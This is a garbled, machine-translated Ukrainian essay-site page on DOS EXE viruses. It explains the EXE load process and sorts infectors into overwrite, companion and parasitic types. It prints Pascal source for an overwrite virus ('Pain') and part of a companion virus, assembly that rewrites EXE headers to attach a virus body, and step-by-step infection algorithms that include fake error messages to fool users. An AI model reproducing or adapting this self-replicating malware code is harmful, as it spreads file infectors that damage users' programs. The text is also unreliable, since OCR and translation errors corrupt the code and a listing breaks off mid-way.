ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    Exe-віруси
         

     

    Інформатика, програмування

    ЕХЕ-ВІРУСИ

    У цій главі розповідається про ви-
    русів, що заражають ЕХЕ-фай-
    ли. Наведено класифікації
    ція таких вірусів, детально
    розглянуті алгоритми їх
    роботи, відмінності між
    ними, гідності і недо-
    статки. Для кожного типу
    вірусів представлені результат-
    ные тексти з докладними коментарями
    . Також приве-.
    дени основні відомості
    про структуру та принципи ра-
    боти ЕХЕ-програми.

    СОМ-файли (невеликі програми, написані в основному на мові
    Assembler) повільно, але вірно застарівають. Їм на зміну приходять Пуга-
    ющіе своїми розмірами ЕХЕ-"монстри". З'явилися і віруси, вмію-
    щие заражати ЕХЕ-файли.

    Структура і процес завантаження ЕХЕ-програми

    На відміну від СОМ-програм, ЕХЕ-програми можуть складатися з не-
    скількох сегментів (кодів, даних, стека). Вони можуть займати біль-
    ше 64Кбайт.

    ЕХЕ-файл має заголовок, який використовується при його завантаженні.
    Заголовок складається з форматований частині, що містить сигнатуру
    і дані, необхідні для завантаження ЕХЕ-файла, і таблиці для на-
    будівництва адрес (Relocation Table). Таблиця складається з значень у фор-
    мате сегмент: зсув. До зсувів в завантажувальному модулі, на які
    вказують значення в таблиці, після завантаження програми в пам'ять дол-
    дружин бути доданий сегментний адреса, з якої завантажена програма.

    При запуску ЕХЕ-програми системним завантажувачем (викликом функ-ції
    DOS 4Bh) виконуються наступні дії:

    1. Визначається сегментний адреса вільної ділянки пам'яті, розмір
    якого достатній для розміщення програми.

    2. Створюється і заповнюється блок пам'яті для змінних середовища.

    3. Створюється блок пам'яті для PSP і програми (сегментЮОООЬ - PSP;

    сегмент + ООЮЬЮОООЬ - програма). В поля PSP заносяться відпо-
    ціалу значення.

    4. Адреса DTA встановлюється рівним PSP: 0080h.

    5. До робочої область завантажувач зчитується форматований частина
    заголовка ЕХЕ-файла.

    6. Обчислюється довжина завантажувального модуля за формулою:

    Si7.e = ((PageCnt * 5i2) - (HdrSae * i6))-Pa! tP3ig.

    7. Визначається зсув завантажувального модуля у файлі, рівне
    HdrSize * 16.

    8. Обчислюється сегментний адреса (START_SEG) для завантаження -
    звичайно це PSP + lOh.

    9. Читається на згадку завантажувальний модуль (починаючи з адреси
    START_SEG: 0000).

    10. Для кожного входу таблиці налаштування:

    a) читаються слова I_OFF і I_SEG;

    b) обчислюється RELC ^ SEG-START ^ SEG + LSEG;

    c) читається слово за адресою RELO_SEG: I_OFF;

    d) до прочитаного слову додається START_SEG;

    e) результат запам'ятовується за тією ж адресою (RELO_SEG: I_OFF).

    11. Розподіляється пам'ять для програми відповідно до Махмет
    і МтМет.

    12. Ініціалізувалися регістри, виконується програма:

    a) ES = DS ° PSP;

    b) АХ = результат перевірки правильності ідентифікаторів драйві-
    рів, зазначених у командному рядку;

    c) SS ° START_SEG + ReloSS, SP-ExeSP;

    d) CS = START_SEG + ReloCS, IP = ExeIP.

    Класифікація ЕХЕ-вірусів

    ЕХЕ-віруси умовно можна розділити на групи, використовуючи як
    ознаки для поділу особливості алгоритму.

    Віруси, що заміщають програмний код (Overwrite)

    Такі віруси вже стали раритетом. Головний їхній недолік - занадто
    груба робота. Інфіковані програми не виконуються, тому що
    вірус записується поверх програмного коду, не зберігаючи його. При
    запуску вірус шукає чергову жертву (або жертви), відкриває знайдений-
    ний файл для редагування і записує своє тіло в початок про-грами
    , не зберігаючи оригінальний код. Інфіковані цими виру-
    самі програми лікуванню не підлягають.

    Віруси-супутники (Companion)

    Ці віруси отримали свою назву через алгоритму розмноження:

    до кожного інфікованого файлу створюється файл-супутник. Рассмот-
    рим більш докладно два типи вірусів цієї групи:

    Віруси першого типу розмножується в такий спосіб. Для кожного ін-
    фіціруемого ЕХЕ-файла в тому ж каталозі створюється файл з вірусним

    кодом, що має таке ж ім'я, що і ЕХЕ-файл, але з розширенням
    СОМ. Вірус активується, якщо при запуску програми в командному
    рядку зазначено тільки ім'я файлу, що виконується. Справа в тому, що, якщо
    не вказано розширення файлу, DOS спочатку шукає в поточному каталозі
    файл із заданим ім'ям і розширенням СОМ. Якщо СОМ-файл із та-
    ким іменем не знайдений, ведеться пошук однойменного ЕХЕ-файла. Якщо
    не знайдений і ЕХЕ-файл, DOS спробує виявити ВАТ (пакетний)
    файл. У разі відсутності в поточному каталозі виконавчого файлу
    з вказаним ім'ям пошук ведеться у всіх каталогах, доступних
    по змінній PATH. Іншими словами, коли користувач хоче за-
    пустити програму і набирає в командному рядку тільки її ім'я
    (в основному так все і роблять), першим управління отримує вірус,
    код якого знаходиться в СОМ-файлі. Він створює СОМ-файл ще
    до одного чи декількох ЕХЕ-файлів (поширюється), а потім
    виконує ЕХЕ-файл з вказаним в командному рядку ім'ям. Поль-
    зователь ж думає, що працює тільки запущена ЕХЕ-програма.
    Вірус-супутник знешкодити досить просто - достатньо видалити
    СОМ-файл.

    Віруси другого типу діють більш тонко. Назва інфіковані
    ЕХЕ-файла залишається колишнім, а розширення замінюється яких-небудь
    іншим, відмінним від виконуваного (СОМ, ЕХЕ і ВАТ), Наприклад,
    файл може отримати розширення DAT (файл даних) або OVL (про-
    граммний оверлей). Потім на місце ЕХЕ-файл копіюється вірусний
    код. При запуску такої інфікованої програми управління напів-
    чає вірусний код, що знаходиться в ЕХЕ-файлі. Інфікувавши ще один
    або кілька ЕХЕ-файлів таким же чином, вірус повертає ориг-
    нальному файлу виконується розширення (але не ЕХЕ, а СОМ, по-
    кільки ЕХЕ-файл з таким ім'ям зайнятий вірусом), після чого використан-
    вується його. Коли робота інфікованої програми закінчена, її
    запускаємо файл повертається розширення неісполняемого. Лече-
    ня файлів, заражених вірусом цього типу, може бути ускладнене,
    якщо вірус-супутник шифрує частину або все тіло інфіковані файлу,
    а перед виконанням його розшифровує.

    Віруси, впроваджуються в програму (Parasitic)

    Віруси цього виду самі непомітні: їх код записується в інфіці-
    руемую програму, що істотно ускладнює лікування заражених
    файлів. Розглянемо методи впровадження ЕХЕ-вірусів в ЕХЕ-файл.

    Способи зараження ЕХЕ-файлів

    Найпоширеніший спосіб зараження ЕХЕ-файлів такий: в кінець
    файлу дописується тіло вірусу, а заголовок коригується (з збереженню-
    ням оригінального) так, щоб при запуску інфікованого файлу
    управління отримував вірус. Схоже на зараження СОМ-файлів, але вмес-
    то завдання в коді переходу в початок вірусу коректується власне
    адреса точки запуску програми. Після закінчення роботи вірус бере з
    збереженого заголовка оригінальний адреса запуску програми, прібав-
    ляєт до його сегментної компоненті значення регістра DS або ES (напів-
    ченное при старті вірусу) і передає управління на отриманий адресу.

    Наступний спосіб - впровадження вірусу в початок файлу із зсувом коду
    програми. Механізм зараження такою: тіло інфіковані програми
    зчитується в пам'ять, на її місце записується вірусний код, а після
    нього - код інфіковані програми. Таким чином, код програми
    як би "зсувається" у файлі на довжину коду вірусу. Звідси й назва
    способу - "спосіб зсуву". При запуску інфікованого файлу вірус
    заражає ще один або декілька файлів. Після цього він зчитує
    в пам'ять код програми, записує його в спеціально створений на
    диску тимчасовий файл з розширенням файлу, що виконується (СОМ або
    ЕХЕ), і потім виконує цей файл. Коли програма закінчила робо-
    ту, тимчасовий файл видаляється. Якщо при створенні вірусу не застосовують
    лось додаткових прийомів захисту, то вилікувати інфікований
    файл дуже просто - достатньо видалити код вірусу на початку файлу,
    і програма знову буде працездатною. Недолік цього методу
    в тому, що доводиться прочитувати в пам'ять весь код інфіковані про-грами
    (адже бувають екземпляри розміром більше 1Мбайт).

    Наступний спосіб зараження файлів - метод перенесення - по всій ви-
    хідності, є найдосконалішим з усіх перерахованих. Вірус
    розмножується в такий спосіб: при запуску інфікованої про-грами
    тіло вірусу з неї зчитується в пам'ять. Потім ведеться пошук
    неінфікованих програми. У пам'ять зчитується її початок,
    по довжині рівне тіла вірусу. На це місце записується тіло вірусу.
    Початок програми з пам'яті дописують в кінець файлу. Звідси на-
    звання методу - "метод переносу". Після того, як вірус інфікував
    один або декілька файлів, він приступає до виконання програми,
    з якої запустився. Для цього він зчитує початок інфікований-
    ної програми, збережене в кінці файлу, і записує його в початок

    файлу, відновлюючи працездатність програми. Потім вірус уда-
    ляєт код початку програми з кінця файлу, відновлюючи оригіналь-
    ву довжину файлу, і виконує програму. Після завершення програм-
    ми вірус знов записує свій код в початок файлу, а оригінальне
    початок програми - в кінець. Цим методом можуть бути інфіковані
    навіть антивіруси, які перевіряють свій код на цілісність, тому що
    запускається вірусом програма має в точності такий же код, як і до інфікування.

    Віруси, що заміщають програмний код
    (Overwrite)

    Як уже говорилося, цей вид вірусів вже давно мертвий. Зрідка появ-
    ляють ще такі віруси, створені на мові Assembler, але це, скоріше,
    змагання у написанні самого маленького overwrite-вірусу. На дан-
    ний момент найменший з відомих overwrite-вірусів написаний
    Reminder'ом (Death Virii Crew group) і займає 22 байти.

    Алгоритм роботи overwrite-вірусу наступний:

    1. Відкрити файл, з якого вірус отримав управління.

    2. Рахувати в буфер код вірусу.

    3. Закрити файл.

    4. Шукати за маскою підходящий для зараження файл.

    5. Якщо файлів більше не знайдено, перейти до пункту 11.

    6. Відкрити знайдений файл.

    7. Перевірити, не заражений знайдений файл цим вірусом.

    8. Якщо файл заражений, перейти до пункту 10.

    9. Записати в початок файлу код вірусу.

    10. Закрити файл (за бажанням можна заразити від одного до всіх фай-
    лов в каталозі або на диску).

    11. Видати на екран будь-яке повідомлення про помилку, наприклад
    "Abnormal program termination" або "Not enough memory", -- нехай
    користувач не дуже дивується з того, що програма не запу-
    стиль.

    12. Завершити програму.

    Нижче наведено лістинг програми, що заражає файли таким
    способом.

    ($ М 2048, 0, 0)

    ($ А-)

    ($ В-)

    ($ D-)

    ($ Е +)

    ($ F-)

    ($ G-)

    ($!-}

    ($ L-)

    ($ N-)

    ($ S-)/

    ($ V-)

    ($ X +)

    (Використовуються модулі DOS і System (модуль System автоматично

    підключається до кожної програми при компіляції))
    Uses DOS;

    Const

    (Ім'я вірусу)
    VirName = 'Pain';

    (Фраза для перевірки на повторне зараження.

    Вона дописується в заражає файли відразу після коду вірусу)

    VirLabel: String [5] = 'Pain! 1;

    (Довжина одержуваного при компіляції ЕХЕ-файла)
    VirLen = 4208;

    Author = 'Dirty Nazi/SGWW.';

    (Кількість заражаємо за один сеанс роботи файлів)
    lnfCount = 2;

    Var

    (Масив для визначення наявності копії вірусу в знайденому файлі)
    Virldentifier: Array [1.5] of Char;

    (Файлова змінна для роботи з файлами)
    VirBody: File;

    (Ще одна файлова змінна - хоча без неї можна було
    обійтися, так буде зрозуміліше)
    Target: File;

    (Для імені знайденого файлу)
    TargetFile: PathStr;

    (Буфер для тіла вірусу)
    VirBuf: Array [-I.VirLen] of Char;

    (Для дати і часу файлу)
    Time: Longint;

    (Лічильник кількості інфікованих файлів)
    InfFiles: Byte;

    Dirlnfo: SearchRec;

    LabelBuf: Array [1.5] of Char;

    (Ініціалізація)
    procedure Init;

    begin
    LabelBuf [1]: = VirLabel [1];

    LabelBuf [2]: = VirLabel [2];

    LabelBuf [3]: = VirLabel [3],
    LabelBuf [4]: = VirLabel [4];

    LabelBuf [5]: = VirLabel [5];

    (Обнуляємо лічильник кількості інфікованих файлів)
    lnfFiles: = 0;

    (пов'язуємо файлову змінну VirBody з ім'ям програми.
    з якої стартували)
    Assign (VirBody, ParamStr (O));

    (Відкриваємо файл з recsize = 1 байту)
    Reset (VirBody, 1);

    (Прочитуємо з файлу тіло вірусу в масив VirBuf)
    BlockRead (VirBody VirBuf, VirLen);

    (Закриваємо файл)
    Close (VirBody);

    end;

    (Пошук жертви)
    procedure FindTarget;

    Var
    Sr: SearchRec;

    (Функція повертає True, якщо знайдена

    програма вже заражена, і False, якщо ще немає)
    function VirusPresent: Boolean;

    begin

    (Поки будемо вважати, що вірусу немає)
    VirusPresent: = False;

    (Відкриваємо знайдений файл)
    Assign (Target, TargetFile);

    Reset (Target, 1);

    (Переміщаємося на довжину тіла вірусу від початку файлу)
    Seek (Target, VirLen);

    (Прочитуємо 5 байт - якщо файл вже заражений,
    там знаходиться мітка вірусу)
    BlockRead (Target, Virldentifier, 5);

    If Virldentifier = Virl_abel Then

    (Якщо мітка є, значить є і вірус)
    VirusPresent: = True;

    end;

    (Процедура зараження)
    procedure InfectFile;

    begin

    (Якщо розмір знайденого файлу менше, ніж довжина вірусу
    плюс 100 байт, то виходимо із процедури)
    If Sr.Size

    (Якщо знайдена програма ще не заражена, інфікуючи її)
    If Not VirusPresent Then
    begin

    (Запам'ятаємо дату і час файлу. Атрибути запам'ятовувати не треба,
    так як пошук ведеться серед файлів з атрибутом Archive, а цей
    атрибут встановлюється на файл після збереження в будь-якому разі)
    Time: = Sr.Time;

    (Відкриваємо для зараження)
    Assign (Target, TargetFile);

    Reset (Target, 1);

    (Записуючи тіло вірусу в початок файлу)
    BlockWrite (Target, VirBuf, VirLen);

    (переміщаємо покажчик поточної позиції
    на довжину вірусу від початку файлу)
    Seek (Target, VirLen);

    (Вписуємо мітку зараження)
    BlockWrite (Target, LabelBuf, 5);

    (Встановлюємо дату і час файлу)
    SetFTime (Target, Time);

    (Закриваємо)
    Close (Target);

    (Збільшуємо лічильник інфікованих файлів)
    Inc (lnfFiles);

    end;

    end;

    (Початок процедури FindTarget)
    begin

    (Шукаємо в поточному каталозі файли за маскою *. ЕХЕ
    з атрибутами Archive)
    FindFirstF.EXE ', Archive, Sr);

    (Поки є файли для зараження)

    While DosError = 0 Do

    begin

    If Sr.Name = "Then Exit;

    (Запам'ятовуємо ім'я знайденого файлу в змінну TargetFile)
    TargetFile: = Sr.Name;

    (Викликаємо процедуру зараження)
    InfectFile;

    (Якщо заразили InfCount файлів, завершуємо пошук)
    If InfFiles> InfCount Then Exit;

    (Шукаємо Наступне фото за маскою)
    FindNext (Sr);

    end;

    end;

    (Основне тіло)
    begin

    (Ініціалізіруемся)
    hit;

    (Шукаємо жертви і заражаємо їх)
    FindTarget;

    (Видаємо на екран повідомлення про помилку)
    WriteLn ( 'Abnormal program termination.');

    (Це щоб компілятор вставив в код константи VirName
    і Author, умова ж поставлено таким чином,
    що ці рядки ніколи не будуть виведені на екран)
    If 2 = 3 Then
    begin
    WriteLn (VirName);

    WriteLn (Author);

    end;

    end.

    Віруси-супутники (Companion)

    Віруси-супутники зараз широко поширені - співвідношення
    companion і parasitic вірусів приблизно один до двох.

    Інфікування методом створення СОМ-файлу супутника

    Сенс цього методу - не чіпаючи "чужого кота" (ЕХЕ-програму), з-
    здать "свого" - СОМ-файл з ім'ям ЕХЕ-програми. Алгоритм робо-
    ти такого вірусу гранично простий, так як відпадає необхідність
    зайвих дій (наприклад, збереження в тілі вірусу довжини откомпі-
    лірованного ЕХЕ-файла з вірусним кодом, зчитування в буфер тіла
    вірусу, запуску файлу, з якого вірус отримав управління). Неза-
    ніж навіть зберігати позначку для визначення інфікування файлу.

    Зараження проводиться за допомогою командного процесора:

    1. Якщо в командному рядку вказані параметри, зберегти їх у пере-
    менную типу String для передачі інфікованої програмі.

    2. Знайти ЕХЕ-файл-жертву.

    3. Перевірити, не присутній у каталозі з знайденим ЕХЕ-фай-
    лом СОМ-файл з таким же ім'ям, як у файлу-жертви.

    4. Якщо такий СОМ-файл присутній, файл вже заражений, переходимо
    до пункту 6.

    5. За допомогою командного процесора скопіювати файл, з якого
    отримано управління, у файл з ім'ям жертви і розширенням СОМ.

    6. Процедурою Ехес завантажити та виконати файл з ім'ям стартового, але
    з розширенням ЕХЕ - тобто виконати інфіковану програму.

    7. Повернути керування в DOS.

    Наведений нижче лістинг показує зараження файлів цим
    методом.

    ($ М 2048, 0, 0)
    f $ A-)
    NUL ');

    SwapVectors;

    end;

    (Процедура пошуку жертви)
    procedure FindFile;

    begin

    (У поточному каталозі шукаємо ЕХЕ-файл)
    FindFirst ( '* EXE', AnyFile, Dirlnfo);

    If DosError = 0 Then

    (І якщо він знайдений)
    begin

    (Запам'ятовуємо ім'я жертви)
    Victim: = Dirlnfo.Name;

    (Запам'ятовуємо ім'я без розширення)
    VictimName: = Copy (Victim, 1, Length (Victim) -4);

    (Шукаємо оверлей з тим же ім'ям)
    FindFirst (VictimName + Ovl, AnyFile, Sr);

    If DosError 0 Then Infect;

    end;

    end;

    (Процедура ініціалізації змінних)
    procedure I nit;

    begin

    (Командний рядок)
    CmdLine: = ";

    (Повне ім'я нашої програми)
    OurProg: = ParamStr (0);

    (Назва нашої програми без розширення)
    OurName: = Copy (ParamStr (0), 1, Length (ParamStr (0)) -4);

    For l: = 1 To ParamCount Do
    begin

    (Запам'ятовуємо параметри)
    CmdLine: = ParamStr (l) + '';

    end;

    end;

    (Основна підпрограма)
    begin

    (А цю табличку запишемо в код для тих,

    хто розпакує вірус?? почне в ньому копатися)

    If False Then

    begin

    WriteLn (# 13 # 10 '');

    end;

    (Ініціалізіруемся)
    Init;

    (Перевірка диска на R/Про)
    CheckRO;

    (Шукаємо та заражаємо)
    FindFile;

    (Завантажуємо оверлей)
    ExecReal;

    end.

    Віруси, впроваджуються в програму (Parasitic)

    Ці віруси є самими "хитрими". Оскільки такий вірус поза-
    дряется в інфіковані програму, це дає йому багато переваг
    перед усіма вищеописаними вірусами: на диску не з'являються лиш-
    ня файли, немає клопотів з копіюванням та перейменуванням, крім того,
    ускладнюється лікування інфікованих файлів.

    Стандартне зараження ЕХЕ-файлів

    Стандартне зараження - зараження, при якому вірус впроваджується
    в кінець файлу, змінюючи заголовок так, щоб після завантаження файлу уп-
    равленіе отримав вірус. Принципово дію такого вірусу мало
    відрізняється від дії розглянутого СОМ-вірусу. Щоб з'ясувати
    способи роботи з ЕХЕ-файлами, розглянемо наступний фрагмент про-грами
    :

    ; Читаємо заголовок ЕХЕ-файла (точніше, лише перший 18h байт,
    ; яких цілком достатньо)

    ReadHeader:

    mov ah, 3Fh

    mov dx, offset EXEHeader
    mov cx, 0018h
    int 21 h

    Зупиняємо в SI адресу вважаються заголовка. Надалі
    ; будемо звертатися до заголовка, використовуючи Sl + зміщення елемента
    mov si, offset EXEHeader

    [Отримуємо реальну довжину файлу, перемістивши покажчик поточної
    ; позиції читання/запису в кінець файлу
    GetRealFSize:

    mov ax, 4202h

    mov bx.Handle

    xor ex, ex

    xor dx.dx

    int 21 h

    ; Збережемо отриману довжину файлу
    mov Reallen.dx
    mov Reallen +2, ax

    ; Оскільки мова йде про стандартну процедуру зараження, потрібно
    ; пам'ятати, що все вищесказане не впливає на
    оверлейной файли. Їх довжина, зазначена в заголовку,
    .- менше реальної, тобто ці файли завантажуються
    ; в пам'ять не повністю.

    Отже, якщо заразити такий файл, вірус потрапить
    ; в незагружаемую частину.
    Збережемо в стеку реальну довжину ЕХЕ-файла

    push dx

    push ax

    розрахуємо розмір ЕХЕ-файл до 512-байтних сторінках і залишок
    CompareOVL

    mov cx, 0200h

    div ex

    ; Ha даний момент в регістрі АХ знаходиться кількість сторінок
    ; (в кожній сторінці міститься 512 байт),
    ; а в регістрі DX - залишок, який утворює

    ; ще одну (невраховану) сторінку.
    . Додамо цю сторінку до загальної кількості сторінок -
    ; якщо залишок не дорівнює нулю, то
    . збільшимо кількість сторінок

    or dx.dx

    jz m1

    inc ax
    m1:

    . Будемо вважати придатним для зараження
    . стандартним способом файли з довжиною,
    ; повністю збігається із зазначеною в заголовку

    cmp ax, [si + PartPag]

    jne ExitProc

    cmp dx, [si + PageCnt]

    jne ExitProc

    ; Щоб вірус зміг повернути керування
    ; зараженої програмі, збережемо поля ReloSS,
    ; ExeSP, ReloCS, ExelP із заголовка ЕХЕ-файла.
    . Значення констант, що використовуються в програмі,
    . рівні зсуву відповідного
    ; елемента в заголовку ЕХЕ-файла (Додаток А)
    InitRetVars:

    mov ax, [si + ReloSS]

    mov oldss.ax

    mov ax, [si + ExeSP]

    mov oldsp.ax

    mov ax, [si + ReloCS]

    mov oldcs.ax

    mov ax, [si + Exe! P]

    mov oldip.ax

    . Відновимо з стека реальну довжину файлу
    ; В даному випадку вона співпадає з довжиною, зазначеної в заголовку

    pop ax

    pop dx

    . Розрахуємо довжину програми з вірусом, для чого додамо
    ; до довжини файлу довжину тіла вірусу

    add ax, VIRSIZE; VIRSIZE - довжина тіла вірусу

    adc dx.0

    розрахуємо вийшла довжину (одна сторінка - 512 байт)
    ; і залишок у останній сторінці (так само,
    ; як розраховували довжину файлу без вірусу)

    mov cx, 0200h

    div ex

    or dx.dx

    jz newJen

    inc ax
    NewJen:

    ; Внесемо в заголовок нову довжину файлу
    mov [si + PageCnt], ax
    mov [si + PartPag], dx

    ; Прочитаємо реальну довжину файлу.
    ; По ній будемо розраховувати нову
    ; точку входу в програму (адреса запуску)
    Eval_new_entry:

    mov dx.Reallen 2

    mov ax.Reallen

    ; Розрахуємо нову точку входу.

    . Точка входу в вірус повинна знаходитися

    ; на початку його тіла. Іншими словами, потрібно до довжини файлу

    . додати зміщення точки входу.

    ; Розділемо довжину на розмір параграфа (10h)

    mov cx, 10h

    div ex

    Одержали число параграфів (AX) і залишок (DX - зміщення
    ; вірусу в останньому пункті).
    ; 0тнімем від числа параграфів у файлі число
    . Параграфів у заголовку - отримаємо сегмент входу в ЕХЕ-файл
    sub ax, [si + HdrSize]

    ; 3апішем нову точку входу в заголовок
    mov [si + ReloCS], ax
    mov [si + ExelP], dx

    . Зауваження: можна було округлити отримане число,
    ; і вірус починався б з OOOOh.
    ; Але цього робити не варто.

    ,-Природно, всі звернення до даних у цьому вірус

    повинні бути нефіксованим, як і в будь-який інший вірус.

    ; Замість "mov ax, ANYDATA" доведеться робити так:

    ; mov si.VIRSTART

    ; mov ax, [si + offset ANYDATA]

    ; де offset ANYDATA - зміщення відносно початку тіла вірусу

    ; Стек поставимо за тіло вірусу - байт на ЮОП. Потім обов'язково

    ; повернемо, інакше можна стерти заготовлені в стеку значення!

    . 'Встановимо сегмент стека такий же, як і коду,

    ; а вказівник на вершину стека -

    ; на 100h байт після тіла вірусу

    mov [si + ReloSSj.ax

    mov ax.VIRSIZE + IOOh

    mov [si + ExeSP], ax

    ; Тепер запишемо заголовок у файл, не забувши і тіло вірусу.
    ; Рекомендується писати спочатку тіло, а потім заголовок.
    ; Якщо тіло раптом не допише,
    ; то файл зіпсуємо даремно
    UpdateRle:

    ; 3апішем тіло вірусу
    WriteBody:

    .- Встановимо покажчик читання/запису в кінець файлу
    mov bx, Handle
    Хог сх, сх
    xor dx.dx
    mov ax, 4202h
    int 21 h

    . Запишемо тіло вірусу в файл
    mov ah, 40h
    mov cx.VIRSIZE
    mov dx.offset VIRStart
    int 21h

    ; 3апішем заголовок
    WriteHeader:

    ; Встановимо покажчик читання/запису в початок файлу
    mov ax, 4200h

    xor ex, ex

    xor dx.dx

    int 21 h

    . Запишемо заголовок у файл

    mov cx, 0018h

    mov ah, 40h

    mov dx.si

    int 21 h

    Отже, вірус "оселився" в ЕХЕ-файлі. А як після закінчення роботи
    вірусу передати управління інфікованої програмі? Ось процеду-
    ра виходу з вірусу:

    CureEXE:

    StackBack:

    -. Встановимо початковий покажчик (сегмент і зсув) стека
    mov ax.ds

    -. Додамо ООЮп, після чого в АХ буде
    ; знаходиться сегмент, з якого
    ; завантажений програмний модуль
    add ax, 10h

    Додамо початковий сегмент стека

    db @ add_ax; код ADD AX, далі за аналогією
    OldSS dw? ; це значення було встановлено
    ; при зараженні

    ; 3апретім переривання, так як зі стеком не можна працювати,
    ; поки і сегмент, і зміщення не встановлені в потрібне значення
    cli

    -. Встановимо сегмент стека (PSP + Wh + OldSS)
    mov ss.ax

    : Встановимо початковий покажчик (зсув) стека

    db @ mov_sp
    OldSP dw?

    ; Розв'язано переривання - небезпечну ділянку пройдений
    sti

    [Підготуємо значення в стеку для команди IRET
    RetEntryPoint:

    pushf

    розрахуємо сегмент для коду за аналогією з сегментом стека

    mov ax.DATASEG

    add ax, 10h

    db @ add_ax
    OldCS dw?

    ; Збережемо в стеку отримане значення (PSP + Wh + OldCS)
    push ax

    ; Збережемо в стеку зміщення вихідної точки входу

    db @ mov_ax
    OldIP dw?

    push ax

    . Запустимо програму. У стеку знаходяться зсув
    ; точки входу, сегмент точки входу і прапори
    iret

    Впровадження способом зрушення

    інфіковані програма розміщується у файлі після коду вірусу,
    зрушення на його довжину, звідси і назва методу. Алгоритм роботи
    вірусу наступний:

    1. Відкрити файл, з якого отримано управління.

    2. Рахувати в буфер тіло вірусу.

    3. Закрити файл.

    4. Знайти файл-жертву (для даного типу вірусів краще СОМ-файл,
    але можна і не надто великий ЕХЕ - це пов'язано з тим, що всі
    тіло інфіковані програми зчитується в пам'ять і її може не
    вистачити, якщо ця програма дуже велика).

    5. Відкрити файл-жертву.

    6. Перевірити файл на повторне зараження (тут можуть бути Варіано-
    ти, але частіше за все використовується сигнатура).

    7. Якщо файл вже інфікований, перейти до пункту 3.

    8. Рахувати в буфер все тіло програми.

    9. Записати в початок файлу тіло вірусу з буфера.

    10. Дописати у файл після тіла вірусу тіло програми з буфера.
    Довжина програми збільшується на довжину вірусу.

    11. Закрити файл-жертву.

    12. Відкрити файл, з якого стартували.

    13. Рахувати в буфер тіло інфікованої програми, розташоване
    у файлі після тіла вірусу.

    14. Створити на диску тимчасовий файл з розширенням СОМ або ЕХЕ
    (в залежності від того, який тип програм заражається).

    15. Записати в цей файл тіло програми з буфера.

    16. Закрити створений файл.

    17. Процедурою Ехес запустити створений файл на виконання -
    виконається інфікована програма.

    18. Після завершення роботи програми створений файл видалити.

    19. Повернути керування в DOS.

    Віруси - це гарна гімнастика для розуму, хоча багато хто думає, що
    написати вірус на мові високого рівня дуже важко. Це не зовсім
    так. Писати на мові Pascal досить легко, правда величина отриманий-
    ного коду викликає побожний трепет.

    Впровадження способом перенесення

    Віруси даного типу розмножуються в такий спосіб. З інфікує-
    емой програми від початку файлу зчитується частина коду, на довжині рав-
    ва довжині вірусу. На місце, що звільнилося вписується вірус,
    а оригінальне початок програми переноситься в кінець файлу. Звідси
    і назва методу - "метод переносу". Є й інші варіанти. Іноді,
    наприклад, початок програми записується в середину файлу, а середина
    переноситься в кінець, щоб ще сильніше все заплутати. Перевага дан-
    ного методу над іншими описаними в тому, що інфікована про-
    грама виконується в тому ж вигляді, в якому вона була до зараження,
    з файлу з тим же ім'ям і розширенням. Тобто програми, перевіряючі
    ющіе себе на предмет зараження вірусом, його не помічають. Коректно
    виконуються і такі програми, які шукають свої файли конфігур-
    ції з іменами:

    ІМЯ_І_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +. INI

    Недолік даного методу виявляється при збої в роботі компьюте-
    ра. Якщо при виконанні інфікованої програми комп'ютер
    "зависне" або відбудеться перезавантаження системи, інфікована

    програма виявиться "чистої", тобто без вірусу. Але, по-перше, "хто
    не ризикує, той не п'є шампанського ", а по-друге, програми виснуть
    рідко. Алгоритм роботи такого вірусу наступний:

    1. Відкрити файл, з якого отримано управління.

    2. Рахувати в буфер тіло вірусу.

    3. Закрити файл.

    4. Знайти файл-жертву.

    5. Відкрити файл-жертву.

    6. Перевірити файл на повторне зараження (тут можуть бути Варіано-
    ти, але частіше за все використовується сигнатура).

    7. Якщо файл вже інфікований, перейти до пункту 3.

    8. Рахувати в буфер з початку знайденого файлу фрагмент програми,
    по довжині рівний тіла вірусу.

    9. Записати в початок файлу тіло вірусу з буфера.

    10. Дописати у кінець файлу лічену початок програми з буфера.
    Довжина програми збільшилася на довжину вірусу.

    11. Закрити файл-жертву.

    12. Відкрити файл, з якого стартували.

    13. Рахувати в буфер початок інфікованої програми, розташований-
    ве в кінці файлу.

    14. Записати лічену початок програми поверх коду вірусу в початок
    файлу.

    15. Скоротити файл до його оригінальної довжини (тобто видалити частину
    коду, за довжиною дорівнює довжині тіла вірусу, в кінці файлу).

    16. Закрити файл.

    17. Процедурою Ехес запустити стартовий файл (ParamStr (O)) на ис-
    полнению - виконається інфікована програма.

    18. Після завершення роботи програми знову відкрити стартовий
    файл.

    19. Записати в початок файлу тіло вірусу, а оригінальне початок про-грами
    знову перемістити в кінець файлу.

    20. Закрити файл.

    21. Повернути керування в DOS.

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status